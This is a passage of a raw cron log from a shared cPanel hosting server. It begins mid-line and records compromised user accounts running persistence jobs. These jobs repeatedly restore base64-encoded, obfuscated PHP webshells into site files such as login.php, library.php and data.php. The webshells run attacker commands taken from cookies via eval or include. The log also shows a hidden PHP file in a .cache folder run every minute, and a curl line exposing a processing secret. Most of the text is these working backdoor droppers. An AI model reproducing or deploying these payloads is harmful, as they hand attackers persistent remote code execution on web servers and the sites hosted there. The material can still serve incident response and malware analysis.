B7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:57:01 medusa CROND[7597]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:57:01 medusa CROND[7598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:57:01 medusa CROND[7599]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:58:02 medusa CROND[29863]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:58:02 medusa CROND[30152]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 15:58:02 medusa CROND[30151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:58:02 medusa CROND[30154]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:58:02 medusa CROND[30157]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:58:02 medusa CROND[30158]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:58:02 medusa CROND[30159]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:58:02 medusa CROND[30161]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:58:02 medusa CROND[30162]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:58:02 medusa CROND[30163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:58:02 medusa CROND[30174]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:58:02 medusa CROND[30176]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:58:02 medusa CROND[30177]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:58:02 medusa CROND[30188]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:59:01 medusa CROND[15946]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:59:01 medusa CROND[15947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:59:01 medusa CROND[16112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:59:01 medusa CROND[16274]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:59:01 medusa CROND[16277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:59:01 medusa CROND[16282]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:59:01 medusa CROND[16284]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:59:01 medusa CROND[16289]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:59:01 medusa CROND[16296]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:59:01 medusa CROND[16297]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:59:01 medusa CROND[16301]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:59:01 medusa CROND[16303]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[2979]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 16:00:02 medusa CROND[3026]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3394]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:00:02 medusa CROND[3395]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:00:02 medusa CROND[3396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:00:02 medusa CROND[3397]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 16:00:02 medusa CROND[3401]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
